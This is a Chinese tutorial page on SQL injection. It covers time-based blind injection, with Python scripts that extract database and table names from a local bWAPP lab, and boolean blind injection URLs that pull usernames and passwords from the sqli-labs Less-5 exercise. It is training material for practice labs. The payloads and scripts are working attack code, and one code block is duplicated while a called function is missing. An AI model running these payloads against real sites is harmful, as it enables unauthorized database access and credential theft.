当前位置: 首页 > news >正文

sql注入

时间盲注

1.原理:
它利用数据库查询的延迟来推断注入语句是否成功执行,从而在不直接看到查询结果的情况下提取信息。
​
在时间盲注中,攻击者构造的注入语句会使数据库执行一个耗时操作(如休眠一段时间),然后根据Web应用程序的响应时间来判断注入语句是否被执行。如果注入成功,数据库会按照攻击者的要求休眠,导致应用程序的响应时间明显增加;如果注入失败,则响应时间不会发生变化。

适用场景:没有数据回显,条件正确与否结果一样

利用方式:构造判断条件,添加sleep,逐个猜测

2.时间盲注通常用于以下情况:
  1. 错误信息被禁用:当数据库或应用程序配置为不显示错误信息时,攻击者无法通过错误信息直接判断注入是否成功。

  2. 基于布尔的盲注受限:在某些情况下,基于布尔的盲注(通过True/False判断提取信息)可能受到限制,例如应用程序对响应内容进行了过滤或编码。

3.时间盲注的基本步骤如下:
  1. 构造注入语句:攻击者构造一个包含休眠函数的SQL注入语句。例如,在MySQL中,可以使用SLEEP()函数:

    SELECT * FROM users WHERE id = '1' AND (IF(条件, SLEEP(5), NULL));

    如果条件为真,数据库会休眠5秒。

  2. 发送请求:攻击者将构造的注入语句发送到目标应用程序。

  3. 观察响应时间:攻击者观察应用程序的响应时间。如果响应时间明显增加,说明注入语句中的条件为真,数据库执行了休眠操作。

  4. 逐位提取信息:通过构造不同的条件,攻击者可以逐位提取数据库中的信息。例如,判断某个字符是否等于特定值,然后根据响应时间来确定每一位的值。

例子:

1.构造sql语句
import requests
import  time
HEAD={
    "Cookie":"security_level=0; PHPSESSID=ijgbo5f94rr6ahbg1gp9ogdj53"
}
B_URL="http://localhost:8090/bwapp/bWAPP/sqli_15.php?"
def get_database_length():
    for i in range(100):
        url=B_URL+f"title=Iron Man' and length(database())={i} and sleep(1) -- + &action=search"
        start_time=time.time()
        requests.get(url,headers=HEAD)
        if time.time()-start_time>1:
            print(f"数据库名长度为{i}")
            return i
 
if __name__=='__main__':
    get_database_length()

这里用开始时间减去响应完成的时间,算出整个过程的时间,如果大于1,说明sleep运行了,最后输出一下数据库名长度

2.求解数据库名称
def get_database_name(lens):
    name=""
    for i in range(lens):
        for j in range(30,130):
            url=B_URL+f"title=Iron Man' and ascii(substr(database(),{i+1},1))={j} and sleep(1) -- + &action=search"
            start_time=time.time()
            requests.get(url,headers=HEAD)
            if time.time()-start_time>1:
                name+=chr(j)
    print(name)
    return name
if __name__=='__main__':
    get_database_name(get_database_length())
3.求解该数据库中有几张表
def get_table_count():
    for i in range(100):
        url = B_URL + f"title=Iron Man' and (select count(table_name) from information_schema.tables where table_schema=database())={i} and sleep(1) -- + &action=search"
        start_time = time.time()
        requests.get(url, headers=HEAD)
        if time.time() - start_time > 1:
            print(f"该数据库一共有{i}张表")
            return i
if __name__=='__main__':
    get_table_count()
4.求解每个表名长度
def get_table_count():
    for i in range(100):
        url = B_URL + f"title=Iron Man' and (select count(table_name) from information_schema.tables where table_schema=database())={i} and sleep(1) -- + &action=search"
        start_time = time.time()
        requests.get(url, headers=HEAD)
        if time.time() - start_time > 1:
            print(f"该数据库一共有{i}张表")
            return i
if __name__=='__main__':
    get_table_count()
5.求解表名
def get_table_name(lens):
    a=[]
    for i in range(len(lens)):
        temp=""
        for j in range(lens[i]):
            for k in range(30,130):
                url = B_URL + f"title=Iron Man' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{j+1},1))={k}  and sleep(1) -- + &action=search"
                start_time = time.time()
                requests.get(url, headers=HEAD)
                if time.time() - start_time > 1:
                   temp+=chr(k)
        print(f"第{i+1}张表名为{temp}")
        a.append(temp)
    return a
if __name__=='__main__':
    get_table_name(get_table_leng(5))

Boolean盲注

(以sqli-labs less-5 (第五关)为例)

1.判断数据库长度及名字
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())=8 -- -#数据库长度为8
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and substr(database(),1,1)='s'-- -#security
2.使用group_concat()语句猜测表名
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29 -- - #group_concat()默认用逗号隔开 ,所以表名加逗号的长度是29
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='e' -- -    #猜测表的名字同时用burp爆破
3.接下来猜测user表中的字段名
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))=20 -- -  #字段名的长度20
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1)='i'-- -  #爆破字段名
4.同理爆破字段username和password的内容得到相应的账号密码
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length((select group_concat(username) from security.users))=91 -- -   #判断出所有的 username的长度加上符号的长度是91
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and substr((select group_concat(username) from security.users),1,1)='d' -- -爆破所有的username值

相关文章:

  • 机器视觉--Halcon If语句
  • 小胡说技书博客分类(部分目录):服务治理、数据治理与安全治理对比表格
  • IM相关资料整理
  • 基于SSM+uniapp的鲜花销售小程序+LW示例参考
  • 【Go并发编程】Goroutine 调度器揭秘:从 GMP 模型到 Work Stealing 算法
  • 一款基于若依的wms系统
  • Mybatisplus-IService
  • 零基础学习人工智能
  • 体验 DeepSeek-R1:解密 1.5B、7B、8B 版本的强大性能与应用
  • Spring安装和使用(Eclipse环境)
  • 分布式事务框架--Seata(AT模式)的原理
  • 啥是目标文件?目标文件里面有什么?
  • CAS单点登录(第7版)21.可接受的使用政策
  • ai数字人分身系统开发源码saas化
  • 今日写题04work
  • 为何STL里stack queue没有迭代器
  • .NET版Word处理控件Aspose.Words教程:使用 C# 删除 Word 中的空白页
  • AI 编程工具—Cursor 进阶篇 数据分析
  • 【java】深拷贝和浅拷贝的区别
  • ISO9001质量管理体系 | 设计和开发控制程序
  • 印方称所有敌对行动均得到反击和回应,不会升级冲突
  • 警方通报男子地铁上拍视频致乘客恐慌受伤:列车运行一度延误,已行拘
  • 巴西总统卢拉将访华
  • 深圳两家会所涉卖淫嫖娼各被罚7万元逾期未缴,警方发催告书
  • 七方面118项任务,2025年知识产权强国建设推进计划印发
  • 俄罗斯今日将举行“胜利日”阅兵,有何看点?